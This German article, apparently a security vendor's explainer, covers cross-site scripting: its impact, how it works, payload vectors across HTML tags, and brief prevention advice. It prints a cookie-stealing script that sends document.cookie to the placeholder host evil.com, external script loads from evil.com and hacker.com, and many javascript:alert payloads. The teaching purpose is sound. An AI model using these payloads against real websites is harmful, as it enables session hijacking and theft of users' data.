Cross-Site-Scripting (XSS) ist ein clientseitiger Code-Injection-Angriff. Der Angreifer zielt darauf ab, bösartige Skripte in einem Webbrowser des Opfers auszuführen, indem er bösartigen Code in eine legitime Webseite oder Webanwendung einfügt. Der eigentliche Angriff erfolgt, wenn das Opfer die Webseite oder Webanwendung besucht, die den bösartigen Code ausführt. Die Webseite oder Webanwendung wird zu einem Vehikel, um das bösartige Skript an den Browser des Benutzers zu liefern. Anfällige Vehikel, die häufig für Cross-Site-Scripting-Angriffe verwendet werden, sind Foren, Message Boards und Webseiten, die Kommentare zulassen.

Eine Webseite oder Webanwendung ist anfällig für XSS, wenn sie in der von ihr erzeugten Ausgabe unzensierte Benutzereingaben verwendet. Diese Benutzereingabe muss dann vom Browser des Opfers geparst werden. XSS-Angriffe sind in VBScript, ActiveX, Flash und sogar CSS möglich. Am häufigsten kommen sie jedoch in JavaScript vor, vor allem, weil JavaScript für die meisten Browser-Erlebnisse grundlegend ist.

„Ist Cross-Site Scripting nicht das Problem des Benutzers?“

Wenn ein Angreifer eine XSS-Schwachstelle auf einer Webseite ausnutzen kann, um beliebiges JavaScript im Browser eines Benutzers auszuführen, ist die Sicherheit dieser verwundbaren Website oder verwundbaren Webanwendung und ihrer Benutzer gefährdet. XSS ist nicht das Problem des Benutzers wie jede andere Sicherheitslücke. Wenn es Ihre Benutzer betrifft, betrifft es auch Sie.

Cross-Site Scripting kann auch dazu verwendet werden, eine Website zu verunstalten, anstatt den Benutzer anzugreifen. Der Angreifer kann mit eingeschleusten Skripten den Inhalt der Website verändern oder sogar den Browser auf eine andere Webseite umleiten, die zum Beispiel bösartigen Code enthält.

Was kann der Angreifer mit JavaScript machen?

XSS-Schwachstellen werden als weniger gefährlich wahrgenommen als zum Beispiel SQL-Injection-Schwachstellen. Die Folgen der Möglichkeit, JavaScript auf einer Webseite auszuführen, scheinen zunächst nicht gravierend. Die meisten Webbrowser führen JavaScript in einer sehr eng begrenzten Umgebung aus. JavaScript hat nur begrenzten Zugriff auf das Betriebssystem und die Dateien des Benutzers. Dennoch kann JavaScript gefährlich sein, wenn es als Teil von bösartigem Inhalt missbraucht wird:

• Bösartiges JavaScript hat Zugriff auf alle Objekte, auf die auch der Rest der Webseite Zugriff hat. Dazu gehört auch der Zugriff auf die Cookies des Benutzers. Cookies werden oft verwendet, um Sitzungskennungen zu speichern. Wenn ein Angreifer das Sitzungs-Cookie eines Benutzers erlangen kann, kann er sich als dieser Benutzer ausgeben, Aktionen im Namen des Benutzers durchführen und Zugriff auf die sensiblen Daten des Benutzers erhalten.
• JavaScript kann das Browser-DOM lesen und beliebige Änderungen daran vornehmen. Glücklicherweise ist dies nur innerhalb der Seite möglich, auf der JavaScript ausgeführt wird.
• JavaScript kann das XMLHttpRequest-Objekt verwenden, um HTTP-Anfragen mit beliebigem Inhalt an beliebige Ziele zu senden.
• JavaScript in modernen Browsern kann HTML5-APIs verwenden. Zum Beispiel kann es Zugriff auf die Geolokalisierung des Benutzers, die Webcam, das Mikrofon und sogar auf bestimmte Dateien aus dem Dateisystem des Benutzers erhalten. Die meisten dieser APIs erfordern die Zustimmung des Benutzers, aber der Angreifer kann Social Engineering einsetzen, um diese Einschränkung zu umgehen.

Die oben genannten Möglichkeiten in Kombination mit Social Engineering ermöglichen es Kriminellen, fortgeschrittene Angriffe wie Cookie-Diebstahl, Einschleusen von Trojanern, Keylogging, Phishing und Identitätsdiebstahl durchzuführen. XSS-Schwachstellen bieten die perfekte Grundlage für die Eskalation von Angriffen zu ernsteren Angriffen. Cross-Site Scripting kann auch in Verbindung mit anderen Angriffsarten verwendet werden, z. B. Cross-Site Request Forgery (CSRF).

Es gibt verschiedene Arten von Cross-Site Scripting-Angriffen: gespeichertes/persistentes XSS, reflektiertes/nicht persistentes XSS und DOM-basiertes XSS. Sie können mehr über sie in einem Artikel mit dem Titel Types of XSS lesen.

Wie Cross-Site Scripting funktioniert

Ein typischer XSS-Angriff besteht aus zwei Phasen:

1. Um bösartigen JavaScript-Code im Browser eines Opfers auszuführen, muss ein Angreifer zunächst einen Weg finden, bösartigen Code (Payload) in eine Webseite zu injizieren, die das Opfer besucht.
2. Danach muss das Opfer die Webseite mit dem bösartigen Code besuchen. Wenn der Angriff auf bestimmte Opfer abzielt, kann der Angreifer Social Engineering und/oder Phishing einsetzen, um eine bösartige URL an das Opfer zu senden.

Für Schritt eins muss die verwundbare Website direkt Benutzereingaben in ihre Seiten einbauen. Ein Angreifer kann dann eine bösartige Zeichenfolge einfügen, die innerhalb der Webseite verwendet und vom Browser des Opfers als Quellcode behandelt wird. Es gibt auch Varianten von XSS-Angriffen, bei denen der Angreifer den Benutzer mit Social Engineering zum Besuch einer URL lockt und die Nutzlast Teil des Links ist, auf den der Benutzer klickt.

Nachfolgend finden Sie einen Ausschnitt aus einem serverseitigen Pseudocode, der verwendet wird, um den neuesten Kommentar auf einer Webseite anzuzeigen:

print "<html>"print "<h1>Most recent comment</h1>"print database.latestCommentprint "</html>"

Das obige Skript nimmt einfach den neuesten Kommentar aus einer Datenbank und fügt ihn in eine HTML-Seite ein. Es geht davon aus, dass der ausgedruckte Kommentar nur aus Text besteht und keine HTML-Tags oder anderen Code enthält. Es ist anfällig für XSS, da ein Angreifer einen Kommentar übermitteln könnte, der z. B. eine bösartige Nutzlast enthält:

<script>doSomethingEvil();</script>

Der Webserver stellt Benutzern, die diese Webseite besuchen, den folgenden HTML-Code zur Verfügung:

<html><h1>Most recent comment</h1><script>doSomethingEvil();</script></html>

Wenn die Seite im Browser des Opfers geladen wird, wird das bösartige Skript des Angreifers ausgeführt. Meistens bemerkt das Opfer dies nicht und kann einen solchen Angriff nicht verhindern.

Cookies mit XSS stehlen

Kriminelle verwenden XSS oft, um Cookies zu stehlen. Dies ermöglicht es ihnen, sich als das Opfer auszugeben. Der Angreifer kann das Cookie auf viele Arten an seinen eigenen Server schicken. Eine davon ist, das folgende clientseitige Skript im Browser des Opfers auszuführen:

<script>window.location="http://evil.com/?cookie=" + document.cookie</script>

Die folgende Abbildung zeigt eine Schritt-für-Schritt-Anleitung für einen einfachen XSS-Angriff.

1. Der Angreifer injiziert eine Nutzlast in die Datenbank der Website, indem er ein verwundbares Formular mit bösartigem JavaScript-Inhalt übermittelt.
2. Das Opfer fordert die Webseite vom Webserver an.
3. Der Webserver liefert dem Browser des Opfers die Seite mit der Nutzlast des Angreifers als Teil des HTML-Bodys.
4. Der Browser des Opfers führt das im HTML-Body enthaltene schädliche Skript aus. In diesem Fall sendet er das Cookie des Opfers an den Server des Angreifers.
5. Der Angreifer muss nun nur noch das Cookie des Opfers extrahieren, wenn die HTTP-Anfrage beim Server ankommt.
6. Der Angreifer kann nun das gestohlene Cookie des Opfers für die Impersonation verwenden.

Um mehr darüber zu erfahren, wie XSS-Angriffe durchgeführt werden, können Sie einen Artikel mit dem Titel „Ein umfassendes Tutorial über Cross-Site-Scripting“ lesen.

Cross-Site-Scripting-Angriffsvektoren

Im Folgenden finden Sie eine Liste gängiger XSS-Angriffsvektoren, die ein Angreifer verwenden könnte, um die Sicherheit einer Website oder Webanwendung durch einen XSS-Angriff zu gefährden. Eine ausführlichere Liste mit Beispielen für XSS-Nutzlasten wird von der OWASP-Organisation gepflegt: XSS Filter Evasion Cheat Sheet.

<script> tag

Das <script> tag ist die einfachste XSS Payload. Ein script-Tag kann externen JavaScript-Code referenzieren oder Sie können den Code innerhalb des script-Tags selbst einbetten.

<!-- External script --><script src=http://evil.com/xss.js></script><!-- Embedded script --><script> alert("XSS"); </script>

JavaScript-Ereignisse

JavaScript-Ereignisattribute wie onload und onerror können in vielen verschiedenen Tags verwendet werden. Dies ist ein sehr beliebter XSS-Angriffsvektor.

<!-- onload attribute in the <body> tag --><body onload=alert("XSS")>

<body> tag

Ein XSS-Payload kann innerhalb des <body> durch die Verwendung von Event-Attributen (siehe oben) oder anderen, eher obskuren Attributen wie dem background-Attribut.

<!-- background attribute --><body background="javascript:alert("XSS")">

<img> tag

Einige Browser führen JavaScript aus, das in den <img>-Attributen enthalten ist.

<!-- <img> tag XSS --><img src="javascript:alert("XSS");"><!-- tag XSS using lesser-known attributes --><img dynsrc="javascript:alert('XSS')"><img lowsrc="javascript:alert('XSS')">

<iframe> tag

Mit dem <iframe> tag können Sie eine andere HTML-Seite in die aktuelle Seite einbetten. Ein IFrame kann JavaScript enthalten, aber JavaScript im IFrame hat aufgrund der Content Security Policy (CSP) des Browsers keinen Zugriff auf das DOM der übergeordneten Seite. Dennoch sind IFrames sehr effektiv, um Phishing-Angriffe auszuführen.

<!-- <iframe> tag XSS --><iframe src="http://evil.com/xss.html">

<input> tag

In manchen Browsern, wenn das type-Attribut des <input>-Tags auf image gesetzt ist, kann es manipuliert werden, um ein Skript einzubetten.

<!-- <input> tag XSS --><input type="image" src="javascript:alert('XSS');">

<link> tag

Das <link> tag, das oft verwendet wird, um auf externe Stylesheets zu verlinken, kann ein Script enthalten.

<!-- <link> tag XSS --><link rel="stylesheet" href="javascript:alert('XSS');">

<table> tag

Das Attribut background der Tags <table> und <td> kann ausgenutzt werden, um auf ein Skript statt auf ein Bild zu verweisen.

<!-- <table> tag XSS --><table background="javascript:alert('XSS')"><!-- <td> tag XSS --><td background="javascript:alert('XSS')">

<div> tag

Das <div> tag, kann, ähnlich wie die Tags <table> und <td>, auch einen Hintergrund angeben und somit ein Skript einbetten.

<!-- <div> tag XSS --><div style="background-image: url(javascript:alert('XSS'))"><!-- <div> tag XSS --><div style="width: expression(alert('XSS'));">

<object> tag

Mit dem <object> tag kann ein Skript von einer externen Seite eingebunden werden.

<!-- <object> tag XSS --><object type="text/x-scriptlet" data="http://hacker.com/xss.html">

Ist Ihre Website oder Webanwendung anfällig für Cross-Site-Scripting

Cross-Site-Scripting-Schwachstellen sind eine der häufigsten Schwachstellen von Webanwendungen. Die Organisation OWASP (Open Web Application Security Project) listet XSS-Schwachstellen in ihrem Dokument OWASP Top 10 2017 als zweithäufigstes Problem auf.

Glücklicherweise ist es einfach zu testen, ob Ihre Website oder Webanwendung für XSS und andere Schwachstellen anfällig ist, indem Sie einen automatisierten Web-Scan mit dem Acunetix Vulnerability Scanner durchführen, der ein spezielles XSS-Scanner-Modul enthält. Machen Sie eine Demo und erfahren Sie mehr über die Durchführung von XSS-Scans gegen Ihre Website oder Webanwendung. Ein Beispiel, wie Sie blinde XSS-Schwachstellen mit Acunetix erkennen können, finden Sie im folgenden Artikel: How to Detect Blind XSS Vulnerabilities.

How to Prevent XSS

Um sich vor XSS zu schützen, müssen Sie Ihre Eingaben sanitisieren. Ihr Anwendungscode sollte niemals Daten, die Sie als Eingabe erhalten haben, direkt an den Browser ausgeben, ohne sie auf bösartigen Code zu überprüfen.

Weitere Informationen finden Sie in den folgenden Artikeln: XSS-Angriffe verhindern und Wie Sie DOM-basiertes Cross-Site-Scripting verhindern. Nützliche Informationen finden Sie auch im XSS Prevention Cheat Sheet, das von der OWASP-Organisation gepflegt wird.

Häufig gestellte Fragen